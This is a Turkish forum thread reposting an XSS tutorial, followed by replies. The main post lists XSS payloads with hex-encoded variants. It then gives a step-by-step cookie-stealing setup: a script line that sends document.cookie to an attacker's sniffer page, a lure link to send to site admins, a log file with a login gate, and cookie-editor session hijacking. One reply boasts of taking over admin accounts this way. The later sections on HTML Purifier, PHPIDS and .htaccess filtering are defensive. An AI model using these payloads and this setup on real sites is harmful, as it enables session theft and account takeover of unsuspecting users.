XSS Cross Site Scripting Nedir, Ne Değildir? Kullanımı Ve Korunma Yolları

15/Eki/10 03:50

Kısayol

Şikayet

Özel Mesaj

irem27

Kayıt Tarihi: 27/Ağustos/2010

Aynı zamanda "XSS" olarak da bilinen "Cross Site Scripting" bilinenin aksine çok eski bir açıktır. Fakat günümüzde hala en büyük sitelerde bile bu açığa rastlamaktayız. Dökümanın ortalarında Türkiye'nin en büyük sitelerinden bir tanesinde bu açık ile en basit şekilde neler yapılabildiğini video ile göstericem.

Web uygulamarının sebebiyet verdiği bu açık sayesinde saldırgan hazırladığı zararlı kodları yine kendi hazırladığı bir sayfaya saklayarak, hedefteki kullanıcıyı bu sayfaya yönlendirmesiyle veya yönlendirmeden o esnada aralarında iletişim için kullandıkları web uygulamasının arka planına saklayarak hedefteki kullanıcıya iletmesi ile meydana gelir. Kullanıcı bu sırada hiçbirşeyin farkına varmaz fakat o esnada oturum bilgileri gibi pek çok önemli bilgisi saldırganın istediği bir sayfaya kaydedilir.

Bu açığı bulmak kolay olduğu gibi açığın kapatılmasıda kolaydır. Genellikle POST ve GET metodlarının kullanıldığı bölümlerde bulunur. Arama, galeri, mesajlar, haberler, üyelikler, kategoriler, yorumlar gibi kısımlara XSS kodumuzu enjekte ederek test edebilirsiniz.

Örnek vermek gerekirse, test için en çok kullanılan XSS kodları:

CODE:

"><script>alert(1)</script>

http://www.site.com/index.php?s="><script>alert(1)</script>

"><script>alert(document.cookie)</script>

http://www.site.com/index.php?cat="><script>alert(document.cookie)</script>

');alert('own');//

http://www.site.com/index.php?search=');alert('own');//

"><script/src=http://site.com/xss.js></script>

http://www.site.com/gallery.asp?c="><script/src=http://site.com/xss.js></script>

><script>alert('XSS Vulnerable')</script><b a=a

http://www.site.com/members.php?id=><script>alert('XSS Vulnerable')</script><b a=a

Üstteki kodlardan bir tanesini kullanarak XSS açığının olup olmadığını bir sitede kontrol ettim.

Üstteki resimde de görüldüğü gibi XSS kodumuzu denedikten sonra ekrana bizim cookie bilgilerimizi yansıttı. Bu da bize sitede XSS açığının olduğunu gösteriyor. Bu açık site sahibinin ve diğer kullanıcıların cookielerini almamıza olanak sağlar. Böylece onların yetkileriyle siteye giriş yapabiliriz.

Bu kodlardan daha fazla edinmek isterseniz tam bir XSS Kod Kütüphanesi olan sitemin "XSS Attack Database" bölümünü ziyaret edebilirsiniz. (http://www.eno7.org/xssdb/xssdb.html)

Saldırgan XSS kodlarını çoğunlukla bu taglar sayesinde enjekte edebilir.

CODE:

<script>, <embed>, <object>, ve <applet>

Flash ile yapılan bir XSS saldırısından örnek vermek gerekirse burada XSS kodumuzu flash ile

CODE:

getURL()

değeriyle çağırırız yani

CODE:

getURL("http://www.eno7.org")

yerine

getURL("javascript:alert(document.cookie)")

şeklinde kullanırsak kullanıcının browser'ında XSS kodumuzu çalıştırabiliriz.

Bu saldırı şeklinde

CODE:

<object> veya <embed>

taglarını kullanıyoruz, yine örnek vermek gerekirse

CODE:

<embed

src="http://www.siteniz.com/hazirladiginiz-flash.swf" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?

P1_Prod_Version=ShockwaveFlash"

type="application/x-shockwave-flash"

width="100"

height="100">

</embed>

bu şekilde kullanmak mümkün olur.

Bazı sitelerde XSS kodlarını HEX'e çevirerek enjekte etmek gerekebilir. Bu durumlarda sitemin "Character Encoding" bölümünden XSS kodlarınızı HEX değerine çevirerek enjekte edebilirsiniz. (http://www.eno7.org/character-encoding/encode.html)

Üstte verdiğim ilk üç sıradaki XSS kodlarının HEX'e çevirilmiş halleri altta yer almaktadır.

URL:
Hex Value

CODE:

"><script>alert(1)</script>

%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

"><script>alert(document.cookie)</script>

%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E

');alert('own');//

%27%29%3B%61%6C%65%72%74%28%27%6F%77%6E%27%29%3B%2F%2F

Web programcıları tarafından göz ardı edilen bazı kodlamalar bu açığın kullanımına davetiye çıkartmakta. Açığı kapatmak tekrar kodlamaları gözden geçirip düzeltilmesiyle mümkün olur veya aşağıda anlatacağım teknikle bu açıklardan daha sağlam bir şekilde korunabilirsiniz.

Webmasterlar her zaman ziyaretçilerinin yaptığı tüm sorgulamaları veya tüm gönderileri mutlaka bir filtreden geçirmesi gerekmektedir. Bu bazen bir yorum olur, bir özel mesaj olur hatta bu kodların filtrelenmediği bir forumda imzaya saklanan bir kod olur veya geçen bir konuda bahsetmiştim, yüklenen bir resim bile eğer filtrelemeden geçmiyorsa bu açığın kullanımına yol açar. (bkz: Resim Yükleyerek XSS) (http://www.eno7.org/guvenlik-aciklari/resim-yukleyerek-xss.pl)

Resim Yükleyerek XSS konusundan burada da kısaca bahsetmek gerekirse, kullanıcı önce bu şekilde resmi adlandırarak upload eder.

CODE:

http://www.eno7.org/files/'onerror='alert('XSS-CODE')'warn='.gif

Daha sonra test için şöyle bir sayfa oluşturarak kontrol edebilirsiniz. Şu kodları "html" olarak kaydedin.

CODE:

<IMG src="http://www.eno7.org/files/"onerror="alert('XSS-CODE')"warn=".gif">

Üstte de belirttiğimiz gibi kullanıcı tarafından yollanan her gönderinin filtrelemeden geçirilmesi şart.

Saldırganın enjekte etmeye çalışacağı karakterleri aynı zamanda HEX'e dönüştüreceğini düşünerek, filtrelenmesi gereken bu karakterleri HEX kodlarıyla beraber altta belirttim..

CODE:

; / ? : @ = & <> “ # { } | \ ^ ~ [ ] ` % ‘

CODE:

%3b %2f %3f %3a %40 %3d %26 %3c %3e %22 %23 %7b %7d %7c %5c %5e %7e %5b %5d %60 %25 %27

Bu tarz bir filtreleme yapıldığında, kullanıcı tarafından enjekte edilmeye çalışılan zararlı kodlar pasifize edilmiş olacaktır. Dökümanın devamında bu saldırılardan nasıl korunulacağını detaylı bir şekilde anlatacağım.

Bu açıkların bulunduğu siteleri hiç uğraşmadan bulmak isterseniz. Bir arkadaşımın açtığı ve başarılı bir proje olarak gördüğüm "XSSED" (http://www.xssed.com) sitesini ziyaret edebilirsiniz.

Saldırgan genelde bu açığı kullanmak için size bir link yollar, kullandığınız mail servisinde bu açıktan bulunuyorsa size bu linki mail aracılığı ile yollar ve linke direk tıklamanız halinde cookie bilgileriniz saldırganın istediği bir sayfaya yazılır. Mailinize gelen linklere direk tıklamak yerine mümkünse bilgisayarınızda iki tane browser kullanıyorsanız (internet explorer ve firefox gibi) bu linke, mailinize giriş yapmadığınız diğer browserdan yani mailinizin cookie bilgilerinin saklanmadığı browserdan girilmesi sizi bu tehlikeden korur. Ama bu mümkün değilse bu linke direk tıklamadan, linki kopyalayıp yeni bir internet sayfası açarak girmek daha uygundur.

Dökümanın başında belirtmiştim. Bu açığı Türkiye'nin en büyük sitelerinden birinde test ettim ve bu açıktan nasıl yararlanıldığı herkesin anlayacağı bir şekilde video'da anlatmaya çalıştım. Video'da deneme yaptığım sitenin açığı karşılıklı telefon ve mail görüşmelerimiz sonucu kapatılmıştır. Burada görmenizi istediğim şey, XSS açığının kesinlikle küçümsenmeyecek bir açık olduğu ve bu açıkla en basit şekilde neler yapılabildiği.

Video Adresi (968kb)

http://xssxssxss.sitemynet.com/gg.html

Download Video (968kb)

http://rapidshare.com/files/155874647/gg.rar.html

Şimdi bu açığın nasıl kullanıldığını görelim. Video'da da görüldüğü gibi kaydedilen cookie'leri görebilmemiz için bir "log" dosyamız olması gerekiyor. Gerekli olan gereçleri önce bu adresten indirin.

Download Sniffer

http://rapidshare.com/files/155874832/sniffer.rar.html

Dosyamızı indirip klasöre açalım, değişiklik yapacağımız dosyalar sırasıyla "cdr.js" ve karşı tarafa yollayacağınız link olan "pardus.html" ben deneme için pardus olarak adlandırdım siz istediğiniz şekilde yapabilirsiniz.

"cdr.js" dosyasını bir metin belgesiyle açın, dosyada "siteniz.com" yazan yere "sniffer" klasörünü upload ettiğiniz internet adresini yazacaksınız.

CODE:

i=new/**/Image();i.src='http://www.siteniz.com/sniffer/s.php?'+document.cookie

Yine aynı şekilde "pardus.html" dosyasını bir metin belgesiyle açın.

CODE:

Dosyada "xss-acigi-olan-site.com/index.php?s=" yazan yere sitede "XSS" açığının bulunduğu yeri tam olarak yazıyorsunuz yani açığın bulunduğu bölümü "httpFrom" yazan yere kadar yazıyorsunuz.

Daha sonra yine aynı dosyada "siteniz.com/sniffer/cdr.js" yazan yere ise "sniffer" klasörünü upload ettiğiniz internet adresini yazıyorsunuz yani "cdr.js" dosyasının bulunduğu adresi tam olarak yazıyorsunuz.

Bu işlemler tamamsa "sniffer" klasörünü bir siteye upload edin, ilk önce "sniffer" klasöründe bulunan "cookie" bilgilerinin yazılacağı "data.txt" dosyasının izinlerini CHMOD 777 yapın. Herkesin anlayabilmesi için bu bölümleri ayrıntılı anlatıyorum. "CHMOD" izinlerini FTP programınız ile yapabilirsiniz. CuteFTP programında dosyanın üzerine "sağ click" yapın "Properties / CHMOD" yazan yere tıklayın ve açılan pencerede "Permissions" yazan yerin karşısındaki kutucuğa 777 yazın ve tamam diyerek çıkın.

Şimdi yapacağınız tek şey "XSS" açığını bulduğunuz sitenin, forumun veya mail servisinin neyse o sitenin kullanıcısına genellikle sitenin adminine "pardus.html" dosyasının linkini göndereceksiniz.

http://www.site.com/pardus.html gibi burada dosya adını değiştirebilirsiniz. Size kalan bu linki karşı tarafa zekice yollayarak, yolladığınız kişinin bu linke tıklamasını sağlamak. Yolladığınız kişi linke tıkladıysa "cookie" bilgileri "log" dosyasında görülecektir.

Burada "log" dosyasının herkes tarafından görünmesini istemeyebilirsiniz. Bunun için "log" dosyasına ulaşmak için bir "login" ekranı koyabiliriz. "log.php" dosyasını bir metin belgesiyle açın ve sayfanın en başında olan

CODE:

<?

karakterlerden bir satır aşağıdan veya bir boşluk bırakarak alttaki kodları yapıştırın.

CODE:

$ourLogin = "kullanici-adi";$ourPassword = "sifre";session_start();if ($_SESSION['login']!=$ourLogin && $_SESSION['password']!=$ourPassword) {if ($_POST['login']==$ourLogin && $_POST['password']==$ourPassword) {$_SESSION['login'] = $_POST['login'];$_SESSION['password'] = $_POST['password'];header("Location: log.php");}else {echo "<form action=log.php method=post><center>Login...</br>Username:<br><input type=text name=login value=''><br>Password:<br><input type=password name=password value=''><br><input type=submit value='Login'></form> </center>";exit;}}

Kodlarda "kullanici-adi" yazan yere giriş yaparken kullanacağınız kullanıcı ismini, "sifre" yazan yere de giriş için kullanacığınız şifreyi yazacaksınız.

Herşey tamamsa, gelen cookieleri kendi cookieniz ile değiştirip o kullanıcının hesabına girebilirsiniz.

Cookieleri değiştirmek için "Cookie Editor" programını kullanabilirsiniz.

Download Cookie Editor

http://www.proxoft.com/downloads/cookieeditorsetup.exe

Eğer Firefox kullanıyorsanız "Cookie Editor" eklentisini Firefox'a kurarak kullanabilirsiniz.

Install Cookie Editor For Firefox

https://addons.mozilla.org/en-US/firefox/addon/573

Şimdi Bu Açıktan Web Sitelerimizi Nasıl Koruyacağımıza Değinelim

Dökümanın ortalarında belirttiğim kodların filtrelenmesiyle önlemini almanız mümkün ama birazdan göstereceğim şekilde daha iyi bir güvenlik sağlarsınız.

Bu açıktan korunmak için sitemizde kullanacağımız bileşen "HTML Purifier" PHP dilinde yazılmış bir HTML filtre kütüphanesi. Bununla sitenize enjekte edilmeye çalışılan ve şu ana kadar bilinen tüm XSS kodlarını zararsız hale getirirsiniz.

Sitenin "Demo" (http://htmlpurifier.org/demo.php) bölümünden filtrelemeyi test edebilirsiniz. Test etmek istediğiniz kodları belirtilen yere girip nasıl filtrelendiğini görmeniz mümkün.

Sitemizde Nasıl Kullanacağımıza Bakalım

Önce "HTML Purifier" bileşenini download ediyoruz.

Download HTML Purifier

http://htmlpurifier.org/download.html

Daha sonra zip'den çıkarıp sitemize upload ediyoruz, sitemizde kullanabilmemiz için ise sitemizin "config" dosyasına veya "config" dosyasından "require_once" ile çağırdığımız dosyaya alttaki kodumuzu yerleştiriyoruz "include" ediyoruz.

Eğer websitenizde UTF-8 ve XHTML kodlaması kullanıyorsanız bu kodu kullanın:

CODE:

<?php

require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';

$purifier = new HTMLPurifier();

$clean_html = $purifier->purify($dirty_html);

?>

Eğer sitenizde farklı bir kodlama kullanıyorsanız bu kodu kullanın:

CODE:

<?php

require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';

$config = HTMLPurifier_Config::createDefault();

$config->set('Core', 'Encoding', 'ISO-8859-1'); // replace with your encoding

$config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); // replace with your doctype

$purifier = new HTMLPurifier($config);

$clean_html = $purifier->purify($dirty_html);

?>

Üstteki kodlarda "/path/to/htmlpurifier/" yazan yere "htmlpurifier" klasörünün serverda bulunan tam yolunu yazacaksınız "/home/vhosts/site.com/public_html/htmlpurifier/" gibi. Fakat önce "/library/HTMLPurifier/DefinitionCache/Serializer" bu yolun server tarafından yazılabilir olduğundan emin olun. Önce CHMOD'u 755 olarak ayarlayın eğer çalışmazsa 777 olarak ayarlayın. Kurulum ile ilgili ayrıntılı bilgi için bileşenin resmi sitesini ziyaret edebilirsiniz. (http://htmlpurifier.org/svnroot/htmlpurifier/tags/2.1.2/INSTALL)

"HTML Purifier" bileşenini "CMS" ve diğer hazır sistemlerde kullanmak isterseniz alttaki pluginleri-eklentileri belirtilen sistemler için kullanabilirsiniz. Wordpress için yapılmış olan eklentiden geçenlerde sitemde bahsetmiştim, o konuya buradan ulaşabilirsiniz. (http://www.eno7.org/advisories/blogunuzu-tum-xss-saldirilarina-karsi-koruyun.pl)

Phorum
(http://www.phorum.org/phorum5/read.php?16,122766)

MODx
(http://htmlpurifier.org/svnroot/htmlpurifier/trunk/plugins/modx.txt)

Drupal
(http://bart.motd.be/projects/html-purifier-drupal-module)

Wordpress
(http://urbangiraffe.com/plugins/html-purified/)

CodeIgniter
(http://www.mindloop.be/nieuws/nieuwe-ontwikkelingen/htmlpurifier-and-the-codeigniter-framework/)

Bu Açıktan Korunmak İçin Diğer Alternatifler

"HTML Purifier" gibi olan bir diğer web uygulaması "PHPIDS" bu bileşenle de XSS saldırılarından korunmak mümkün.

Önce bu adresten "PHPIDS" uygulamasını download ediyoruz.

Download PHPIDS

http://php-ids.org/downloads/

Daha sonra zipden çıkarıp sitemize upload ediyoruz. Üstte "HTML Purifier" de olduğu gibi alttaki kodları "include" ediyoruz.

CODE:

set_include_path(

get_include_path()

. PATH_SEPARATOR

. 'path/to/phpids/lib'

);

require_once 'IDS/Monitor.php';

require_once 'IDS/Filter/Storage.php';

$storage = new IDS_Filter_Storage();

$storage->getFilterFromXML('/path/to/default_filter.xml');

$request = new IDS_Monitor($_GET, $storage);

$result = $request->run();

if (!$result->isEmpty()) {

// Take a look at the result object

var_dump($result);

}

Kurulumla ilgili daha ayrıntılı bilgi almak için PHPIDS'in resmi sayfasını ziyaret edebilirsiniz. (http://php-ids.org/faq/)

Bunda da "CMS" ve diğer hazır sistemlerde kullanmak üzere pluginler-eklentiler mevcut alttaki adreslerden belirtilen sistemler için olanları kullanabilirsiniz.

Wordpress Plugins
http://php-ids.org/files/wp-ids.zip

Wordpress için bir diğer alternatif plugin
http://wwwu.edu.uni-klu.ac.at/hbeyer/wp/2007/08/25/phpids-for-wordpress/

Drupal
http://drupal.org/project/phpids

"PHPIDS" uygulamasında da zararlı kodların nasıl tanındığını "demo" sayfasından test edebilirsiniz. (http://demo.php-ids.org/)

".htaccess" İle Korunma

Bir diğer korunma yolu da ".htaccess" dosyasının yapılandırılmasıyla mevcut. Alttaki kodları sitenizin kök dizininde bulunan veya scriptinizin bulunduğu dizindeki ".htaccess" dosyasına ekleyin. Böylelikle sitenize yapılan herhangi bir XSS saldırısında siteniz hata sayfası vererek erişimi engelleyecek.

CODE:

RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*$.*$ [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

Kaynak: http://www.olympos.net/belgeler/xss/xss-cross-site-scripting-nedir-ne-degildir-kullanimi-ve-korunma-yollari-187291.html#ixzz12NsW5WJd

There was an irem come unto the earth,born in the holy land of Pennsylvania,raised in the mystical east of Allentown.She believed she had the power to help herself and all mankind,so that others saw her power and came to her to be healed of their troubles and their many diseases.

Alıntı yap

15/Eki/10 10:39

Kısayol

Şikayet

Özel Mesaj

sokoban

Kayıt Tarihi: 23/Ocak/2010

teşekkürler merak ettiğim konulardan biriydi.

.

Alıntı yap

15/Eki/10 13:18

Kısayol

Şikayet

Özel Mesaj

nolanded

Kayıt Tarihi: 08/Aralık/2009

paylaşım için çok teşekkürler, adam gg'ye bile xss çakmış, eline sağlık gg videosundan sonraki bölümde anlatılan teknikle bi kaç sitenin admin cookielerini alıp siteye yönetici olarak girmiştim...

msne beklerim: nolanded[at]tahribat.com

Alıntı yap

18/Eki/10 08:48

Kısayol

Şikayet

Özel Mesaj

irem27

Kayıt Tarihi: 27/Ağustos/2010

Çapraz Site Betik Saldırısı (XSS/CSS)

Çapraz%20Site%20Betik%20Saldırısı Çapraz Site Betik Saldırısı (Cross Site Scripting Attack), betik kodları (script codes) kullanılarak yapılan bir saldırı çeşitidir. Saldırganın hedefi, sitede bulunan herhangi bir yere betik kodu (HTML, JavaScript, vs.) ekleyerek, kullanıcılara ait bilgileri çalmaktır.

Saldırgan, istediğini yaptıracak olan betik kodunu kaynak siteye yerleştirmek ve ziyaretçilerin zararlı betiği kullanmasını sağlamak zorundadır. Bu yüzden "Cross Site" olarak adlandırılır.

Bir örnek vermek gerekirse; Kullanıcıları sürekli çevrimiçi olma derdinden kurtaran çerez (cookie) ve sunucu tarafında oluşturulan oturum (session) dosyaları bu yöntemle rahatlıkla çalınabilirler. Çerezlerine sahip olduğunuz bir siteyi her ziyaret ettiğinizde, tarayıcınız sizin çevrimiçi bilgilerinizi çerez dosyanızdan alarak sunucuya iletir. Bu esnada saldırgan, sitede çalıştırdığı bir betik ile bu bilgileri kendine çekebilir.

Daha ayrıntılı ama basit bir örnekle açıklayalım;

Arama seçeneği olan bir web sitesini ziyaret ettiğinizi varsayalım. Arattığınız tüm anahtar sözcükler aynı zamanda sitede görünmekte ve "Son Yapılan Aramalar" isminde bir bölümde gösterilmektedir. Web sitesinin sahibi, PHP kodlama konusunda acemi bir kişi, siz ise deneyimlisiniz. Yapılan aramaların ne olduğunu sitenin anasayfasına giren herkes görmektedir.

Eğer ki kodlayan kişi, girilen özel karakterleri süzdürmüyorsa, site büyük tehlike altındadır. Çünkü herhangi bir süzme veya denetim ortamının olmadığı sitede tüm özel bilgiler herkese açık vaziyettedir.

Yapmanız gereken "" yazarak sitenin bu kodları çalıştırıp çalıştırmadığına bakmaktır. Eğer çerez (cookie) bilgisi ekranda çıkarsa, bu sitede bir açık vardır. Burada girdiğimiz kod, bir JavaScript kodu olup, ekrana çerez bilgimizi basıyor.

Bu tarz bir durumla karşılaştığınızda istediğiniz HTML veya JavaScript kodunu girerek sitenin anasayfasını "DEFACE" edebilir hatta çerez dosyasını çalıp, içinden çıkan "HASH" i kırarak siteyi "HACK" bile edebilirsiniz.

Bu bir kodlama hatası ve açıktır. Bu sorunu çözmenin yolu HTML etiketlerini süzmekten geçmektedir. Uzman bir PHP programcısı bu hataya düşmez ancak, yeni bir programcı bu hataları sık yapar.

Temelde XSS bu mantıkla çalışmaktadır. Kendi betiğinizi karşıdakinin görebileceği şekilde sitede çalıştırmanız gerekir. Bazen süzme bile yapılsa bu betikler çalıştırılabilir. Bir çok "escape" fonksiyonu, "encoding" veya "tag"lardaki karakterlerle oynama yoluyla betikleri karşı tarafa geçirmek mümkün olmaktadır. Hatta bunun için basit bir etiketi bile yeterlidir.

Joomla ve Çapraz Site Betik Saldırısı

Joomla'da tüm özel bilgiler çeşitli süzgeçlerden sonra ve kısmen şifreleme ile kullanılır.
Kullanılan bileşene, modüle ve uyumlu eke bağlı olarak sunucuda oturum bilgisi tutan ve çok sayıda çerez oluşturan Joomla'nın, oluşturduğu tüm çerezler ve oturum bilgileri çeşitli yetki seviyelerine sahiptir.

Ancak, Joomla tarafından önemine arz edilen üçüncü parti eklentiler ve diğer yazılımlar, güvenlik kurallarını ihmal edebilirler. Ziyaretçilerin ve sunucunun özel bilgilerini herhangi bir şifreleme ile güvenlik ortamına dahil etmeden doğrudan kullanabilir veya çerezler aracılığı ile kullanıcının bilgisayarına yükleyebilirler. Üstelik bu eklentiler Joomla'nın güvenlik önlemlerini de kısmen engelleyebilirler.

Eğer e-Ticaret ile ilgili bir Joomla siteniz varsa, tavsiyemiz sürekli güncellenmeyen üçüncü parti eklenti ve diğer yazılımları mecbur olmadıkça kullanmamanızdır. Kullandığınızda ise eklenti ile ilgili forumlarından ve destek sitelerinden güvenlik açıkları ile ilgili bilgileri dikkatlice takip etmenizdir.

Ziyaretçilere güvenli bir site sunmak için, Joomla'nın resmi eklenti ve kodları dışında kalan yazılımların açıklarını bulmalı ve ortadan kaldırmalısınız. Sitenizde bulunan tüm kodları göz önüne aldığınızda bazı açıkları farketmemiş olabilirsiniz. Bu durumda güvenlik yazılımı sunan firmaların araçlarını deneyebilirsiniz.

There was an irem come unto the earth,born in the holy land of Pennsylvania,raised in the mystical east of Allentown.She believed she had the power to help herself and all mankind,so that others saw her power and came to her to be healed of their troubles and their many diseases.

Alıntı yap

18/Eki/10 10:04

Kısayol

Şikayet

Özel Mesaj

Twitter

Kayıt Tarihi: 13/Ekim/2007

Yazı güzel fakat önlemler her zaman başarılı olmuyor :W Misal çok çeşitli bypass teknikleri var

Tbt Dersimliler Derneği Başkanı :)

Alıntı yap

18/Eki/10 10:40

Kısayol

Şikayet

Özel Mesaj

irem27

Kayıt Tarihi: 27/Ağustos/2010

Dersimli hacker musty rica etsem bize bahsettiginiz bypass tekniklerini anlatabilirmisiniz ?

There was an irem come unto the earth,born in the holy land of Pennsylvania,raised in the mystical east of Allentown.She believed she had the power to help herself and all mankind,so that others saw her power and came to her to be healed of their troubles and their many diseases.

Alıntı yap

18/Eki/10 15:39

Kısayol

Şikayet

Özel Mesaj

THE_MILLER

Kayıt Tarihi: 28/Ekim/2009

Hadi biraz beyin jimnastiği yapalım.

Her sitede Xss var mıdır ( Xss olma ihtimali olan sitelerden bahsetmekteyim ) ?

Hotmailde halen xss varmı ? Varsa neden kullanıla mıyor ? Kullanılabilir hale getirilebilir mi ?

Türkiye'nin geleceği çelikten yoğruluyor; belki biz olmayacağız ama bu çelik aldığı suyu unutmayacak.

Alıntı yap

18/Eki/10 16:21

Kısayol

Şikayet

Özel Mesaj

anarsistherif

Kayıt Tarihi: 27/Ağustos/2009

THE_MILLER bunu yazdı:
-----------------------------
Hadi biraz beyin jimnastiği yapalım.

Her sitede Xss var mıdır ( Xss olma ihtimali olan sitelerden bahsetmekteyim ) ?

Hotmailde halen xss varmı ? Varsa neden kullanıla mıyor ? Kullanılabilir hale getirilebilir mi ?

-----------------------------
Cogu sitede en beklenmedik yerlerde xss olabiliyor. hotmail kullanmiyorum malesef :D

=)

Alıntı yap

18/Eki/10 16:49

Kısayol

Şikayet

Özel Mesaj

Efendi

Kayıt Tarihi: 23/Nisan/2006

Joomla Components... Çok Ekmek Yedik Sayesinde...

Harabat ehlini hor görme Zakir, defineye malik viraneler var...

Alıntı yap

18/Eki/10 20:14

Kısayol

Şikayet

Özel Mesaj

Twitter

Kayıt Tarihi: 13/Ekim/2007

buradan bakabilirsiniz bypass tekniklerine http://ha.ckers.org/xss.html

Tbt Dersimliler Derneği Başkanı :)

Alıntı yap

18/Eki/10 21:47

Kısayol

Şikayet

Özel Mesaj

THE_MILLER

Kayıt Tarihi: 28/Ekim/2009

x3uqm4 bunu yazdı:
-----------------------------
THE_MILLER bunu yazdı:
-----------------------------

Hadi biraz beyin jimnastiği yapalım.

Her sitede Xss var mıdır ( Xss olma ihtimali olan sitelerden bahsetmekteyim ) ?

Hotmailde halen xss varmı ? Varsa neden kullanıla mıyor ? Kullanılabilir hale getirilebilir mi ?

-----------------------------
Cogu sitede en beklenmedik yerlerde xss olabiliyor. hotmail kullanmiyorum malesef :D

-----------------------------

Ben çoğu sitenin beklenen veya beklenmeyen yerini sormuyorum.Xss olma potansiyeli olan her sitede Xss varmıdır ?En basitinden şu an TBT de xss var mıdır ?

Türkiye'nin geleceği çelikten yoğruluyor; belki biz olmayacağız ama bu çelik aldığı suyu unutmayacak.

Alıntı yap